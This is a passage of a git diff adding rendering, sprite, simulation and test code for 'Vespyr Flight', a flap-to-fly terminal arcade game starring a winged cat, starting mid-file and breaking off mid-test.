(width = columns, height = 2 x rows) over a gradient of cell backgrounds. */ +export const MIN_COLUMNS = 30; +export const MIN_ROWS = 16; +/** Rows of pixels reserved above the play area (a cloud bank that carries the HUD) and for the ground. */ +export const CEILING_PX = 2; +export const GROUND_PX = 4; +export const MIN_WORLD_H = 26; +export const MAX_WORLD_H = 56; +/** World distance for one full day/night cycle. */ +export const DAY_PX = 9000; + +/** The world height (px, even) a canvas of this many rows gets. It is fixed when a run starts. */ +export function worldHeightFor(rows: number): number { + const play = Math.max(0, rows * 2 - CEILING_PX - GROUND_PX); + return 2 * Math.floor(clamp(play, MIN_WORLD_H, MAX_WORLD_H) / 2); +} + +export interface Geometry { + width: number; + height: number; + /** Screen pixel row of world y = 0 and of the ground surface (both even, so the ground starts on a cell edge). */ + top: number; + groundY: number; + /** Screen pixels per world pixel vertically: 1, less when the canvas shrank below the world during a run. */ + scale: number; + /** Screen column of the cat's hitbox. */ + catX: number; +} + +export function geometry(columns: number, rows: number, worldHeight: number): Geometry { + const height = rows * 2; + const play = Math.max(2, height - CEILING_PX - GROUND_PX); + const used = 2 * Math.floor(Math.min(worldHeight, play) / 2); + const top = CEILING_PX + 2 * Math.floor((play - used) / 4); + return {width: columns, height, top, groundY: top + used, scale: used / worldHeight, catX: clamp(Math.floor(columns * 0.2), 8, 28)}; +} + +export interface SceneView { + world: FlightWorld; + alpha: number; + palette: ArcadePalette; + /** Backdrop, parallax, clouds, stars and glass: off without color, where every lit pixel would be the same solid block. */ + decor: boolean; + reduced: boolean; + visualMs: number; + look: CatLook; + particles: ParticleSystem; + trail: Trail; + popups: Popups; + shake: {x: number; y: number}; + flash: number; + /** 0..1: how far the scene has faded toward dusk after a crash. */ + fade: number; + score: number; + best: number; + /** 0..1 while the score counter is celebrating a point. */ + pop: number; + phase: 'ready' | 'playing' | 'over'; +} + +const hash = (value: number): number => { + let h = Math.imul(value ^ 0x9e3779b9, 0x85ebca6b); + h ^= h >>> 13; + h = Math.imul(h, 0xc2b2ae35); + return (h ^ (h >>> 16)) >>> 0; +}; + +/** The palette with every color drawn toward dusk: the frozen scene after a crash. */ +export function toned(palette: ArcadePalette, amount: number): ArcadePalette { + if (amount <= 0) return palette; + const mix = (color: Rgb): Rgb => mixRgb(color, palette.dusk, amount * 0.55); + return { + ...palette, ink: mix(palette.ink), muted: mix(palette.muted), faint: mix(palette.faint), accent: mix(palette.accent), accentSoft: mix(palette.accentSoft), + line: mix(palette.line), haze: mix(palette.haze), warn: mix(palette.warn), + cat: {body: mix(palette.cat.body), shade: mix(palette.cat.shade), eye: palette.cat.eye, belly: mix(palette.cat.belly), whisker: mix(palette.cat.whisker)}, + }; +} + +interface Tones { edge: Rgb; light: Rgb; books: Rgb[]; wood: Rgb; woodDark: Rgb; glass: Rgb; glassLight: Rgb; ink: Rgb } + +export class FlightScene { + private buffer = new PixelBuffer(0, 0); + + draw(canvas: Canvas, view: SceneView): void { + const geo = geometry(canvas.width, canvas.height, view.world.height); + if (this.buffer.width !== geo.width || this.buffer.height !== geo.height) this.buffer = new PixelBuffer(geo.width, geo.height); + const palette = toned(view.palette, view.fade); + const {world} = view; + const buffer = this.buffer; + buffer.clear(); + const x = world.prevX + (world.x - world.prevX) * view.alpha; + const y = world.prevY + (world.y - world.prevY) * view.alpha; + const sky = skyAt(palette, 0.08 + x / DAY_PX); + const lift = (color: Rgb): Rgb => (view.flash > 0 ? mixRgb(color, palette.haze, view.flash * 0.7) : color); + const ground = mixRgb(palette.dusk, palette.deep, 0.45); + const groundRow = geo.groundY / 2; + + canvas.clear(lift(sky.bottom)); + for (let row = 0; row < groundRow; row += 1) canvas.fill(0, row, canvas.width, 1, ' ', {bg: lift(mixRgb(sky.top, sky.bottom, (row + 0.5) / groundRow))}); + canvas.fill(0, groundRow, canvas.width, canvas.height - groundRow, ' ', {bg: ground}); + + if (view.decor) this.backdrop(view, geo, x, sky, palette); + this.ceiling(view, geo, x, sky, palette); + this.ground(canvas, buffer, view, geo, x, ground, palette); + + const tones = this.tones(palette, sky); + const camera = x - geo.catX; + const sy = (value: number): number => Math.round(geo.top + value * geo.scale); + for (const obstacle of world.course.obstacles) { + const left = Math.round(obstacle.x - camera); + if (left >= geo.width) break; + if (left + OB_W < 0) continue; + this.obstacle(buffer, obstacle, left, geo.top, sy(obstacle.gapTop), sy(obstacle.gapBottom), geo.groundY, tones, view.decor); + } + + if (view.decor) { view.trail.draw(buffer, palette.accent, sky.bottom); view.particles.draw(buffer, sky.bottom); } + const sprite = catSprite(view.look, palette); + buffer.sprite(sprite, geo.catX - HB_X, sy(y) - HB_Y, true); + if (!view.decor) view.particles.draw(buffer); + + canvas.blit(buffer, view.shake.x, view.shake.y); + if (view.decor) view.popups.draw(canvas, sky.top); + this.hud(canvas, view, geo, palette); + } + + private tones(palette: ArcadePalette, sky: {top: Rgb; bottom: Rgb}): Tones { + return { + edge: mixRgb(palette.deep, palette.accent, 0.25), light: mixRgb(palette.haze, palette.ink, 0.5), + books: [palette.accent, palette.accentSoft, mixRgb(palette.accent, palette.haze, 0.45), palette.muted], + wood: mixRgb(palette.accent, palette.dusk, 0.55), woodDark: mixRgb(palette.accent, palette.deep, 0.7), + glass: mixRgb(sky.bottom, palette.haze, 0.3), glassLight: mixRgb(sky.bottom, palette.haze, 0.8), ink: palette.ink, + }; + } + + /** One obstacle: a top part above the gap and a bottom part below it, each `OB_W` wide. Plain mode draws hollow outlines. */ + private obstacle(buffer: PixelBuffer, obstacle: Obstacle, left: number, ceilingY: number, gapTop: number, gapBottom: number, groundY: number, tones: Tones, decor: boolean): void { + for (const part of [{from: ceilingY, to: gapTop, upper: true}, {from: gapBottom, to: groundY, upper: false}]) { + for (let py = part.from; py < part.to; py += 1) { + // Distance from the gap end of this part: 0 at the lip. + const d = part.upper ? part.to - 1 - py : py - part.from; + for (let column = 0; column < OB_W; column += 1) { + const color = decor ? obstacleColor(obstacle.style, obstacle.id, column, d, tones) : plainColor(column, d, py, tones); + if (color) buffer.set(left + column, py, color); + } + } + } + } + + /** Stars at night, two layers of clouds, distant hills and a nearer line of rooftops, each scrolling at its own fraction. */ + private backdrop(view: SceneView, geo: Geometry, x: number, sky: {top: Rgb; bottom: Rgb; stars: number}, palette: ArcadePalette): void { + const buffer = this.buffer; + const still = view.reduced; + const span = geo.width + 40; + if (sky.stars > 0.05) { + const count = Math.floor((geo.width * geo.groundY) / 120); + const twinkle = still ? 0 : Math.floor(view.visualMs / 450); + for (let index = 0; index < count; index += 1) { + const dim = (index + twinkle) % 7 === 0 ? 0.35 : 1; + buffer.set(hash(index * 2) % geo.width, geo.top + (hash(index * 2 + 1) % Math.max(1, geo.groundY - geo.top - 8)), mixRgb(sky.top, palette.ink, clamp(sky.stars * 0.75 * dim, 0, 1))); + } + } + const drift = still ? 0 : view.visualMs * 0.004; + for (const layer of [{count: 4, factor: 0.07, mix: 0.3, seed: 0, w: 12}, {count: 4, factor: 0.18, mix: 0.5, seed: 50, w: 8}]) { + const cloud = mixRgb(sky.bottom, palette.haze, layer.mix); + for (let index = 0; index < layer.count; index += 1) { + const cx = Math.round(((((hash(index + layer.seed) % span) - x * layer.factor - drift * (layer.factor * 6)) % span) + span) % span - 20); + const cy = geo.top + 3 + (hash(index + layer.seed + 40) % Math.max(2, Math.floor((geo.groundY - geo.top) / 2))); + buffer.ellipse(cx, cy, layer.w, 3, cloud); + buffer.ellipse(cx + 2, cy - 1, Math.round(layer.w / 2), 3, cloud); + } + } + const far = mixRgb(sky.bottom, palette.dusk, 0.5); + const near = mixRgb(sky.bottom, palette.deep, 0.55); + for (let column = 0; column < geo.width; column += 1) { + const u = column + x * 0.1; + const hill = Math.max(1, Math.round(5 + 3 * Math.sin(u * 0.07) + 2 * Math.sin(u * 0.19 + 1.3))); + buffer.rect(column, geo.groundY - hill, 1, hill, far); + const v = column + x * 0.28; + const block = Math.floor(v / 9); + const roof = 2 + (hash(block) % 5); + const inside = v - block * 9; + if (inside < 7) buffer.rect(column, geo.groundY - roof, 1, roof, near); + if (inside === 3 && hash(block + 99) % 3 === 0) buffer.rect(column, geo.groundY - roof - 2, 1, 2, near); + } + } + + /** The cloud bank across the top (it carries the score) and a bright line on the ceiling the cat cannot pass. */ + private ceiling(view: SceneView, geo: Geometry, x: number, sky: {top: Rgb; bottom: Rgb}, palette: ArcadePalette): void { + const buffer = this.buffer; + if (view.decor) { + const bank = mixRgb(sky.top, palette.haze, 0.22); + buffer.rect(0, 0, geo.width, geo.top, bank); + // A scalloped lower edge, scrolling slowly with the world. + for (let column = 0; column < geo.width; column += 1) { + if (Math.sin((column + x * 0.2) * 0.45) > 0.2) buffer.set(column, geo.top, mixRgb(bank, palette.haze, 0.2)); + } + } + buffer.rect(0, geo.top - 1, geo.width, 1, view.decor ? mixRgb(palette.accent, palette.haze, 0.2) : palette.ink); + } + + private ground(canvas: Canvas, buffer: PixelBuffer, view: SceneView, geo: Geometry, x: number, ground: Rgb, palette: ArcadePalette): void { + buffer.rect(0, geo.groundY, geo.width, 1, palette.accent); + buffer.rect(0, geo.groundY + 1, geo.width, 1, mixRgb(palette.accent, ground, 0.55)); + const scroll = Math.floor(x); + const texture = geo.groundY / 2 + 1; + for (let column = 0; column < geo.width; column += 1) { + const n = hash(column + scroll) % 9; + if (texture < canvas.height && n < 3) canvas.put(column, texture, n === 0 ? '·' : ':', {fg: palette.faint, bg: ground}); + if (!view.decor && geo.groundY / 2 < canvas.height) canvas.put(column, geo.groundY / 2 + 1, '▒', {fg: palette.faint, bg: ground}); + } + } + + private hud(canvas: Canvas, view: SceneView, geo: Geometry, palette: ArcadePalette): void { + const lit = view.pop > 0; + const block = typeset({role: 'counter', text: String(Math.min(view.score, 99999)), maxColumns: 12, maxRows: canvas.height >= 22 ? 2 : 1}); + canvas.typeBlock(block, Math.max(0, Math.floor((canvas.width - block.columns) / 2)), 0, {fg: lit ? palette.accent : palette.ink, bold: true, underline: lit}); + if (canvas.width >= 34) canvas.text(1, 0, `HI ${Math.min(view.best, 99999)}`, {fg: palette.muted}); + if (view.phase !== 'ready') return; + const play = geo.groundY - geo.top; + const title = typeset({role: 'title', text: 'Vespyr Flight', maxColumns: canvas.width - 4, maxRows: 2}); + const top = clamp(geo.top + Math.floor(play / 8), 2, Math.max(2, Math.floor(geo.groundY / 2) - title.rows - 4)); + canvas.typeBlock(title, Math.max(0, Math.floor((canvas.width - title.columns) / 2)), top, {fg: palette.ink, bold: true}); + const prompt = canvas.width >= 30 ? 'Space or Up to flap' : 'Space to flap'; + if (top + title.rows < geo.groundY / 2) canvas.center(top + title.rows, prompt, {fg: palette.accent, bold: true}); + } +} + +/** The color of one obstacle pixel (undefined is see-through). `d` is the distance from the lip of its part, `column` 0..OB_W-1. */ +export function obstacleColor(style: ObstacleStyle, id: number, column: number, d: number, tones: Tones): Rgb | undefined { + const side = column === 0 || column === OB_W - 1; + if (d < 2) return side ? tones.edge : tones.light; + switch (style) { + case 'books': { + const band = Math.floor(d / 4); + if (side) return tones.edge; + if (d % 4 === 3) return tones.edge; + const base = tones.books[(band + id) % tones.books.length]!; + return d % 4 === 1 && (column === 2 || column === 5) ? tones.light : base; + } + case 'glass': + if (side) return tones.edge; + if (d % 9 === 8) return tones.glassLight; + return column === 2 ? tones.glassLight : tones.glass; + case 'crates': { + const row = d % 8; + if (side || row === 0 || row === 7) return tones.woodDark; + return column === row || column === 7 - row ? tones.woodDark : tones.wood; + } + } +} + +/** Without color every lit pixel is the same block, so an obstacle is a hollow outline with a dotted fill and a solid lip. */ +function plainColor(column: number, d: number, py: number, tones: Tones): Rgb | undefined { + if (d < 2 || column === 0 || column === OB_W - 1) return tones.ink; + return (column + py) % 2 === 0 ? tones.ink : undefined; +} + +/** The one-line note for a canvas smaller than the game can use. */ +export function drawTooSmall(canvas: Canvas, palette: ArcadePalette): void { + canvas.clear(); + const note = `Needs at least ${MIN_COLUMNS}x${MIN_ROWS}`; + canvas.text(0, Math.floor(canvas.height / 2), note.slice(0, Math.max(0, canvas.width)), {fg: palette.warn}); +} diff --git a/src/arcade/games/flight/sprites.ts b/src/arcade/games/flight/sprites.ts new file mode 100644 index 00000000..454224ac --- /dev/null +++ b/src/arcade/games/flight/sprites.ts @@ -0,0 +1,95 @@ +import {catPixels} from '../../../idle/catSprite.js'; +import {mixRgb} from '../../../chroma/chroma.js'; +import type {Rgb} from '../../../chroma/escape.js'; +import {spriteFromRows, type Sprite} from '../../Canvas.js'; +import type {ArcadePalette} from '../../palette.js'; + +/** + * Vespyr in flight. Every pose starts from `catPixels()` (ears, eyes, body, four legs, the curled tail: the approved + * silhouette) and changes only legs, tail, ear tips and eyelids, then adds a pair of small wings on his back. The + * sprite faces left like the source art; the renderer mirrors it to fly to the right. + */ +export type Wing = 'up' | 'mid' | 'down'; +export type Legs = 'tucked' | 'glide' | 'dangle'; +export type TailShape = 'streaming' | 'curled' | 'level' | 'trailing'; + +export interface CatLook { + wing: Wing; + legs: Legs; + tail: TailShape; + /** Eyes closed (a blink, or hit). */ + blink: boolean; + /** An ear flick. */ + twitch: boolean; + /** Stunned: closed eyes, wings up, legs dangling. */ + hit: boolean; +} + +export const SPRITE_W = 14; +export const SPRITE_H = 8; +/** The hitbox sits at this offset inside the sprite (8 x 5, the body and the lower head). */ +export const HB_X = 3; +export const HB_Y = 2; + +const NEAR: Readonly>> = { + up: [[0, 9], [1, 8], [1, 9], [2, 7], [2, 8], [2, 9], [3, 7], [3, 8]], + mid: [[2, 9], [2, 10], [3, 6], [3, 7], [3, 8], [3, 9], [3, 10], [4, 8], [4, 9]], + down: [[4, 7], [4, 8], [4, 9], [5, 6], [5, 7], [5, 8], [5, 9], [6, 7], [6, 8], [7, 9], [7, 10]], +}; +/** The wing on the far side: a darker shape peeking out behind the near one. */ +const FAR: Readonly>> = { + up: [[0, 11], [1, 10], [1, 11], [2, 10], [2, 11]], + mid: [[3, 11], [3, 12], [4, 11]], + down: [[7, 11], [7, 12], [6, 11]], +}; +const TAILS: Readonly>> = { + curled: [[2, 13], [3, 12]], + streaming: [[1, 13], [2, 13], [3, 12]], + level: [[4, 12], [4, 13], [3, 13]], + trailing: [[5, 12], [6, 12], [6, 13]], +}; +const LEGS: Readonly> = {tucked: '..............', glide: '..LL.....LL...', dangle: '.L.L......L.L.'}; + +const put = (rows: string[], row: number, column: number, value: string): void => { + const text = rows[row] ?? ''; + if (column < 0 || column >= text.length) return; + rows[row] = `${text.slice(0, column)}${value}${text.slice(column + 1)}`; +}; + +/** The pose's pixel rows, SPRITE_W wide. L body, E eye, W near wing, V far wing, T tail, K whisker. */ +export function catRows(look: CatLook): string[] { + const rows = catPixels('idle'); + put(rows, 2, 13, '.'); put(rows, 3, 12, '.'); + rows[7] = LEGS[look.hit ? 'dangle' : look.legs]; + if (look.legs === 'tucked' && !look.hit) { rows[6] = '..LLLLLLLLLL..'; } + if (look.blink || look.hit) for (const row of [2, 3]) rows[row] = rows[row]!.replace(/E/gu, 'L'); + if (look.twitch) { put(rows, 0, 5, '.'); put(rows, 0, 6, 'L'); } + for (const [row, column] of TAILS[look.hit ? 'streaming' : look.tail]) put(rows, row, column, 'T'); + for (const [row, column] of FAR[look.hit ? 'up' : look.wing]) put(rows, row, column, 'V'); + for (const [row, column] of NEAR[look.hit ? 'up' : look.wing]) put(rows, row, column, 'W'); + // Whiskers in front of the face. + put(rows, 3, 0, 'K'); put(rows, 2, 0, 'K'); + if (look.hit) { put(rows, 2, 2, 'X'); put(rows, 2, 4, 'X'); } + return rows; +} + +export interface CatColors { body: Rgb; shade: Rgb; belly: Rgb; eye: Rgb; wing: Rgb; wingFar: Rgb; whisker: Rgb } + +export function catColors(palette: ArcadePalette): CatColors { + return { + body: palette.cat.body, shade: palette.cat.shade, belly: palette.cat.belly, eye: palette.cat.eye, + wing: mixRgb(palette.haze, palette.cat.belly, 0.35), wingFar: mixRgb(palette.cat.shade, palette.accent, 0.35), whisker: palette.cat.whisker, + }; +} + +export function catSprite(look: CatLook, palette: ArcadePalette): Sprite { + const colors = catColors(palette); + // Legs in the shade, the lower belly lit, everything else the body color. + const rows = catRows(look).map((row, index) => [...row].map((char, column) => { + if (char !== 'L') return char; + if (index === 7) return 'S'; + if (index === 6) return column >= 4 && column <= 8 ? 'B' : 'S'; + return 'L'; + }).join('')); + return spriteFromRows(rows, {L: colors.body, S: colors.shade, B: colors.belly, E: colors.eye, X: colors.eye, T: colors.body, W: colors.wing, V: colors.wingFar, K: colors.whisker}); +} diff --git a/src/arcade/games/flight/world.ts b/src/arcade/games/flight/world.ts new file mode 100644 index 00000000..291a65fc --- /dev/null +++ b/src/arcade/games/flight/world.ts @@ -0,0 +1,108 @@ +import type {Rng} from '../../rng.js'; +import {Course, type Obstacle} from './course.js'; +import {CAT_H, CAT_W, DT, FLAP_COOLDOWN, FLAP_V, motion, OB_W, speedAt} from './physics.js'; + +export type HitKind = 'pipe' | 'ceiling' | 'ground'; + +export interface StepOutcome { + hit: HitKind | undefined; + /** The obstacle passed this step, if any. */ + scored: Obstacle | undefined; +} + +/** How far ahead of the cat the course is generated (world px), a constant so the course never depends on the canvas. */ +const LOOKAHEAD = 420; +/** The cat's hitbox starts here in world x. */ +export const START_X = 0; + +/** + * The simulation: a cat in a world `height` pixels tall, moving right at the difficulty's speed. `x` is the hitbox's left + * edge; `y` its top. Touching an edge is clear; only a real overlap, or crossing the ceiling or the ground, is a hit. + */ +export class FlightWorld { + readonly course: Course; + x: number; + y: number; + vy = 0; + prevX: number; + prevY: number; + steps = 0; + score = 0; + alive = true; + hitKind: HitKind | undefined; + cooldown = 0; + /** Steps since the last accepted flap (visual wing cycle). */ + sinceFlap = 999; + + /** `start` moves the cat down the road (tests use it to meet the hardest speed and gap at once). */ + constructor(rng: Rng, readonly height: number, start = START_X) { + this.x = start; + this.prevX = start; + this.course = new Course(rng, height, start); + this.y = this.course.startY(); + this.prevY = this.y; + this.course.ensure(start + LOOKAHEAD); + } + + get speed(): number { return speedAt(this.x); } + + /** Flap: the upward speed is set (an impulse, not a move). False while the previous wingbeat is finishing. */ + flap(): boolean { + if (!this.alive || this.cooldown > 0) return false; + this.vy = -FLAP_V; + this.cooldown = FLAP_COOLDOWN; + this.sinceFlap = 0; + return true; + } + + step(): StepOutcome { + if (!this.alive) return {hit: undefined, scored: undefined}; + this.prevX = this.x; + this.prevY = this.y; + if (this.cooldown > 0) this.cooldown -= 1; + this.sinceFlap += 1; + const moved = motion(this.y, this.vy); + this.y = moved.y; + this.vy = moved.vy; + this.x += speedAt(this.x) * DT; + this.steps += 1; + this.course.ensure(this.x + LOOKAHEAD); + this.course.trim(this.x - 40); + + const hit = this.collision(); + if (hit) { this.alive = false; this.hitKind = hit; return {hit, scored: undefined}; } + let scored: Obstacle | undefined; + for (const obstacle of this.course.obstacles) { + if (!obstacle.scored && this.x >= obstacle.x + OB_W) { obstacle.scored = true; this.score += 1; scored = obstacle; } + } + return {hit: undefined, scored}; + } + + /** What the cat overlaps right now, if anything. */ + collision(): HitKind | undefined { + return hitTest(this.x, this.y, this.height, this.course.obstacles); + } +} + +/** The collision rules alone, so the boundaries can be tested exactly. Touching is clear. */ +export function hitTest(x: number, y: number, height: number, obstacles: readonly Obstacle[]): HitKind | undefined { + if (y < 0) return 'ceiling'; + if (y + CAT_H > height) return 'ground'; + for (const obstacle of obstacles) { + if (x + CAT_W <= obstacle.x || x >= obstacle.x + OB_W) continue; + if (y < obstacle.gapTop || y + CAT_H > obstacle.gapBottom) return 'pipe'; + } + return undefined; +} + +/** A compact fingerprint of the simulation state, for determinism checks. */ +export function stateHash(world: FlightWorld): string { + let hash = 0x811c9dc5; + const mix = (value: number): void => { + const text = value.toFixed(6); + for (let index = 0; index < text.length; index += 1) { hash ^= text.charCodeAt(index); hash = Math.imul(hash, 0x01000193) >>> 0; } + }; + mix(world.x); mix(world.y); mix(world.vy); mix(world.score); mix(world.steps); mix(world.cooldown); mix(world.alive ? 1 : 0); + for (const o of world.course.obstacles) { mix(o.id); mix(o.x); mix(o.gapTop); mix(o.gapBottom); mix(o.scored ? 1 : 0); } + return hash.toString(16); +} diff --git a/tests/arcadeFlightGame.test.ts b/tests/arcadeFlightGame.test.ts new file mode 100644 index 00000000..808b0805 --- /dev/null +++ b/tests/arcadeFlightGame.test.ts @@ -0,0 +1,420 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync, rmSync} from 'node:fs'; +import {join} from 'node:path'; +import type {Key} from '../src/terminal/keys.js'; +import {ArcadeSession, type ArcadeEnvironment} from '../src/arcade/ArcadeSession.js'; +import {Canvas} from '../src/arcade/Canvas.js'; +import {ParticleSystem, type EffectsLevel} from '../src/arcade/effects.js'; +import {arcadePalette} from '../src/arcade/palette.js'; +import {createRng} from '../src/arcade/rng.js'; +import {ArcadeStore} from '../src/arcade/scores.js'; +import type {GameContext, GameInstance} from '../src/arcade/types.js'; +import {createFlightGame, readRecord} from '../src/arcade/games/flight/game.js'; +import {flightGame} from '../src/arcade/games/flight/index.js'; +import {geometry, MIN_COLUMNS, MIN_ROWS, worldHeightFor} from '../src/arcade/games/flight/scene.js'; +import {catRows} from '../src/arcade/games/flight/sprites.js'; +import {CAT_H, FLAP_V, motion, OB_W} from '../src/arcade/games/flight/physics.js'; +import {FlightWorld} from '../src/arcade/games/flight/world.js'; +import {catPixels} from '../src/idle/catSprite.js'; +import {displayWidth} from '../src/util/text.js'; + +const SPACE: Key = {kind: 'text', value: ' '}; +const palette = arcadePalette(); + +interface Options { + seed?: number; columns?: number; rows?: number; color?: GameContext['color']; safe?: boolean; reduced?: boolean; effects?: EffectsLevel; + record?: Record; world?: (world: FlightWorld) => void; particles?: ParticleSystem; +} + +function make(options: Options = {}) { + let record: Record = (options.record ?? {}) as Record; + const seed = options.seed ?? 3; + const rows = options.rows ?? 24; + const context: GameContext = { + size: {columns: options.columns ?? 80, rows}, seed, rng: createRng(seed), + motion: {effects: options.effects ?? 'normal', reduced: options.reduced ?? false}, color: options.color ?? 'truecolor', safeGlyphs: options.safe ?? false, + record: {get: () => structuredClone(record), set: next => { record = next as typeof record; return true; }, update: change => { const copy = structuredClone(record); change(copy); record = copy; return true; }}, + now: () => 0, + }; + const world = new FlightWorld(context.rng.fork('course'), worldHeightFor(rows)); + options.world?.(world); + const game = createFlightGame(context, {world, ...(options.particles ? {particles: options.particles} : {})}); + const canvas = new Canvas(context.size.columns, context.size.rows); + const draw = (alpha = 1) => { game.render(canvas, alpha, palette); return canvas.plain(); }; + return {game, world, canvas, draw, context, record: () => record}; +} + +/** Flies the real game with the floor-hugging strategy through its own key handler. */ +function autopilot(game: GameInstance, world: FlightWorld, steps: number, until: () => boolean = () => false): void { + for (let i = 0; i < steps && game.status === 'playing' && !until(); i += 1) { + const next = world.course.obstacles.find(o => o.x + OB_W > world.x); + const floor = (next ? next.gapBottom : world.height) - CAT_H - 0.2; + if (motion(world.y, world.vy).y > floor) game.key(SPACE); + game.animate(16.7); + game.step(1000 / 60); + } +} +const crash = (game: GameInstance): void => { for (let i = 0; i < 400 && game.status === 'playing'; i += 1) { game.animate(16.7); game.step(1000 / 60); } }; + +test('definition: id, aliases, title, kind, rates, hints, summary and preview', () => { + assert.equal(flightGame.id, 'flight'); + assert.deepEqual([...flightGame.aliases], ['vespyr-flight', 'flap']); + assert.equal(flightGame.title, 'Vespyr Flight'); + assert.equal(flightGame.kind, 'action'); + const {game} = make(); + assert.equal(game.stepsPerSecond, 60); + assert.equal(game.refreshMs, 100); + const ready = game.hints().map(hint => `${hint.keys} ${hint.action}`).join(' | '); + game.key(SPACE); + const playing = game.hints().map(hint => `${hint.keys} ${hint.action}`).join(' | '); + assert.match(ready, /Space\/Up flap/u); + assert.match(playing, /Space\/Up flap.*p pause.*Esc menu/u); + assert.equal(flightGame.summary({}), 'Not played yet'); + assert.equal(flightGame.summary({best: 14, bestPassed: 14, attempts: 3}), 'Best 14 · 14 passed'); + const preview = new Canvas(30, 6); + for (let frame = 0; frame < 40; frame += 1) flightGame.preview(preview, frame, palette); + assert.ok(preview.plain().join('').trim().length > 0); +}); + +test('state machine: ready until Space or Up; other keys do nothing; the first flap starts the run and flaps', () => { + const {game, world} = make(); + assert.equal(game.status, 'ready'); + for (const key of [{kind: 'down'}, {kind: 'enter'}, {kind: 'escape'}, {kind: 'text', value: 'x'}] as Key[]) assert.equal(game.key(key), 'ignored'); + game.step(1000 / 60); + assert.equal(world.steps, 0, 'a game that is ready never steps'); + assert.equal(game.key({kind: 'up'}), 'handled'); + assert.equal(game.status, 'playing'); + assert.equal(world.vy, -FLAP_V, 'the first press also flaps'); + assert.equal(game.key({kind: 'down'}), 'ignored'); + assert.equal(game.key({kind: 'text', value: 'x'}), 'ignored'); + assert.equal(game.key({kind: 'escape'}), 'ignored', 'Esc is the host\'s'); + game.step(1000 / 60); + assert.equal(world.steps, 1); +}); + +test('pause: the host stops stepping; nothing advances, resuming continues from the same state', () => { + const {game, world} = make(); + game.key(SPACE); + for (let i = 0; i < 5; i += 1) game.step(1000 / 60); + const y = world.y; + game.pause(); + for (let i = 0; i < 30; i += 1) game.animate(16.7); + assert.equal(world.y, y); + assert.equal(game.status, 'playing'); + game.step(1000 / 60); + assert.equal(world.steps, 6); +}); + +test('crash: the run holds for a beat, then ends with a result, details and a record', () => { + const {game, world, record} = make(); + game.key(SPACE); + let held = 0; + while (world.alive) { game.step(1000 / 60); } + assert.equal(game.status, 'playing', 'the crash itself does not end the run yet'); + const frozen = world.y; + while (game.status === 'playing') { game.step(1000 / 60); held += 1; assert.equal(world.y, frozen, 'the world holds still'); } + assert.ok(held >= 20 && held <= 30, `held ${held} steps (about 0.4 s)`); + assert.equal(game.status, 'over'); + assert.equal(game.result?.score, 0); + assert.equal(game.result?.record, false, 'a zero is not a record'); + assert.deepEqual(game.result?.details, ['Obstacles passed 0', 'Best 0', 'Attempts 1']); + assert.deepEqual(record(), {best: 0, bestPassed: 0, attempts: 1}); + assert.equal(game.key(SPACE), 'ignored'); + game.step(1000 / 60); + assert.equal(world.steps, held + world.steps - held); +}); + +test('scoring: +1 per obstacle passed, shown big in the HUD, popping on each point and sparkling every 10', () => { + const particles = new ParticleSystem(createRng(1), 140, 'normal'); + const {game, world, draw, canvas} = make({particles}); + game.key(SPACE); + draw(); + autopilot(game, world, 2000, () => world.score >= 1); + assert.equal(world.score, 1); + const hud = draw()[0]!; + assert.match(hud, /HI 1/u); + assert.match(hud, /\b1\b.*$/u); + const counterX = Math.floor((canvas.width - 1) / 2); + const lit = canvas.cell(counterX, 0)!; + assert.equal(lit.ch, '1'); + const quiet = (() => { for (let i = 0; i < 40; i += 1) game.animate(16.7); draw(); return canvas.cell(counterX, 0)!.fg; })(); + assert.notDeepEqual(lit.fg, quiet, 'the counter lights up for a moment after a point'); + particles.clear(); + autopilot(game, world, 100000, () => world.score >= 9); + const before = particles.count; + autopilot(game, world, 100000, () => world.score >= 10); + assert.equal(world.score, 10); + assert.ok(particles.count >= before + 10, 'a milestone sparkle'); + assert.equal(game.status, 'playing'); +}); + +test('a new best sets the record flag; a lower score does not; attempts count every finished run', () => { + const first = make({record: {best: 0, bestPassed: 0, attempts: 0}}); + first.game.key(SPACE); + autopilot(first.game, first.world, 100000, () => first.world.score >= 3); + crash(first.game); + first.game.step(1000 / 60); + assert.equal(first.game.result?.record, true); + assert.equal(first.game.result?.scoreText, '3'); + assert.deepEqual(first.game.result?.details, ['Obstacles passed 3', 'Best 3', 'Attempts 1']); + const second = make({record: first.record()}); + second.game.key(SPACE); + crash(second.game); + assert.equal(second.game.result?.record, false); + assert.deepEqual(second.record(), {best: 3, bestPassed: 3, attempts: 2}); + const third = make({record: second.record(), seed: 3}); + third.game.key(SPACE); + autopilot(third.game, third.world, 100000, () => third.world.score >= 5); + crash(third.game); + assert.equal(third.game.result?.record, true); + assert.deepEqual(third.record(), {best: 5, bestPassed: 5, attempts: 3}); +}); + +test('persistence: records are validated on read; corrupt, negative, huge or foreign values are cleaned', () => { + assert.deepEqual(readRecord({}), {best: 0, bestPassed: 0, attempts: 0}); + assert.deepEqual(readRecord({best: 12, bestPassed: 11, attempts: 4}), {best: 12, bestPassed: 11, attempts: 4}); + assert.deepEqual(readRecord({best: -3, bestPassed: 'many', attempts: null}), {best: 0, bestPassed: 0, attempts: 0}); + assert.deepEqual(readRecord({best: Number.NaN, bestPassed: Infinity, attempts: 2.9}), {best: 0, bestPassed: 0, attempts: 2}); + assert.deepEqual(readRecord({best: 1e30, bestPassed: [5], attempts: {a: 1}}), {best: 1_000_000_000, bestPassed: 0, attempts: 0}); + const {game, draw} = make({record: {best: 'x', bestPassed: -1, attempts: {}}}); + assert.match(draw()[0]!, /HI 0/u); + game.key(SPACE); + crash(game); + assert.equal(game.result?.record, false); + // A run left unfinished with a better score is saved by persist() without counting as an attempt. + const unfinished = make({record: {best: 1, bestPassed: 1, attempts: 5}}); + unfinished.game.key(SPACE); + autopilot(unfinished.game, unfinished.world, 100000, () => unfinished.world.score >= 4); + unfinished.game.persist(); + assert.deepEqual(unfinished.record(), {best: 4, bestPassed: 4, attempts: 5}); + unfinished.game.persist(); + unfinished.game.dispose(); + unfinished.game.persist(); +}); + +test('through the real store: a best survives a round trip, a damaged arcade file starts fresh', () => { + const dir = mkdtempSync(join(process.env.TMPDIR ?? '/tmp', 'arcade-flight-')); + try { + const store = new ArcadeStore({directory: dir}); + store.record('flight').update(record => { record.best = 9; record.bestPassed = 9; record.attempts = 2; }); + assert.ok(store.flush()); + const again = new ArcadeStore({directory: dir}); + assert.deepEqual(readRecord(again.record('flight').get()), {best: 9, bestPassed: 9, attempts: 2}); + assert.equal(flightGame.summary(again.record('flight').get()), 'Best 9 · 9 